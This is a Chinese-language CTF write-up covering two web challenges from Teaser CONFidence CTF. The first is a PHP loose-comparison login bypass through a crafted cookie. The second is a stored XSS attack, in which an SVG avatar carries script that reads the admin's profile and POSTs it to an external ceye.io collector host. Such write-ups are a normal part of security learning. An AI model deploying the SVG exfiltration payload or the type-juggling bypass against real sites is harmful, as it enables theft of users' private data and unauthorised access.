Mi1k7ea

Teaser CONFidence CTF Web writeup

阅读量

这次Web题只做了前两道,最后一道GO的题目不会就没做了。

My admin panel

题目地址:http://gameserver.zajebistyc.tf/

题目描述:I think I’ve found something interesting, but I’m not really a PHP expert. Do you think it’s exploitable?

访问该页面,是个登录界面,可以下载客户端包:

下载该包下来,解压打开看,发现全是C/C++代码,和本题提示的PHP无关,因此点一个不在这。

尝试随便输入登录,发现无论输入啥都是返回Done界面:

这样的话也没办法进行SQL注入和盲注了,因为无论输入什么内容返回内容都一样。

那就尝试用工具扫下Web站点下隐藏的页面,果不其然:

一个个访问,login.php返回”Not authenticated.”,其他文件无显示,访问admin目录,存在一个login.php.bak备份文件:

下载下来,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
echo("I CAN EVEN GIVE YOU A HINT XD \n");

for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
}

exit("\n");
}

display_admin();

分析一下,先判断cookie字段是否存在otadmin属性;然后正则判断otadmin是否满足指定json格式的内容;提取出hash键值和$cfg_pass变量的MD5值进行比较,当不相等时输出一段经过运算后的提示信息。

注意,if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {这里用的比较符是!=,按照习惯会想到是PHP弱类型。

随便填otadmin的内容发过去/admin/login.php看看,注意cookie值的构造要满足前面正则的匹配:

这里返回了一串经过运算处理后的内容:

0006464640640064000646464640006400640640646400

分析一下,只有0/6/4这几个数字。将运算的那段代码扣下来本地运行一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$cfg_pass="Hello666";
echo MD5($cfg_pass);
echo "<br>";
for ($i = 0; $i < strlen(MD5('xDdddddd')); $i++) {
// echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
echo MD5($cfg_pass)[$i];
echo "<br>";
echo ord(MD5($cfg_pass)[$i]);
echo "<br>";
echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
echo "<br>-------------<br>";
}
?>

随便给$cfg_pass变量赋值,然后运行观察,MD5值没啥好说的,到for循环后,先输出MD5的每一位,然后对其调用ord()函数取该字符对于的ASCII码,最后再和0xC0进行&与运算:

可以看到,最后&与运算的结果不是0就是64,那就写个小脚本确认一下:

1
2
for x in xrange(1,127):
print(str(x)+":"+str(x&0xC0))

运行这段代码会发现,1-63与运算后为0,64以后与运算后为64。我们知道,数字0-9的ASCII码为48-57,即数字与运算后结果均为0,而字母A-Za-z的ASCII码都大于64,即字母与运算后结果均为64。

那么就很明确了,再看看页面返回的值:

0006464640640064000646464640006400640640646400

前面3位是0,后面接着是字母结合数字的混合体。

这时就可以祭出弱类型了,我们知道123=="123aivmfsjoo90i1jj90i0i031"是恒成立的,因此剩下的问题就变成了只需要暴破该MD5的前3为数字即可绕过得到flag,最终爆破出的payload为Cookie: otadmin={"hash": 389}

Web 50

题目地址:http://web50.zajebistyc.tf/login?next=%2F

题目描述:idk what this site does, but you can put some secret, shoe size and report it to the admin…

访问页面,是个登录界面:

随便输入用户名和密码,进入了另一个界面:

其中有两个链接,Profile为当前登录用户的信息设置界面,包括设置一些字段内容和上传头像功能:

另一个Report a bug为向管理员报告bug链接的地方,由此推测是一道通过XSS窃取管理员cookie获取flag的题目:

回到用户信息设置界面,尝试将URL栏的本用户alan改为admin,可以访问,但是没有显示用户Avatar头像和Secret字段,猜测flag可能藏在Secret字段中:

回到本用户设置界面随意设置,发现图片只能上传100*100格式的,且对文件的Content-Type、后缀名以及文件内容前面部分进行了校验,一开始想上传一句话木马的,发现没有文件包含结合便无法利用。

后面想了一下应该就是注入XSS然后将用户链接发过去让admin访问。

写段测试代码,注意要设置宽度和高度均为100:

1
2
3
4
5
6
7
<?xml version="1.0" standalone="no"?>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("Mi1k7ea");
</script>
</svg>

本地访问没问题:

上传到Avatar:

确认一下,访问该Avatar所在地址,没有问题,成功弹框:

到report界面上报,说admin会查看,确认了就是通过XSS获取admin的敏感信息来获得flag:

后面就修改一下JS代码,让admin访问自己的profile界面,因为其本身拥有对Secret字段的访问权,然后再通过JS实现XMLHttpRequest以POST形式发送过来,这样就可以得到它的Secret字段内容了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" standalone="no"?>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://XXXX.ceye.io/");
xhr2.send(xhr.responseText);
}
}
xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
xhr.withCredentials = true;
xhr.send();
</script>
</svg>

再次上传svg图像,将该Avatar地址上报给admin,然后到ceye中可收到flag:


Copyright © Mi1k7ea | 本站总访问量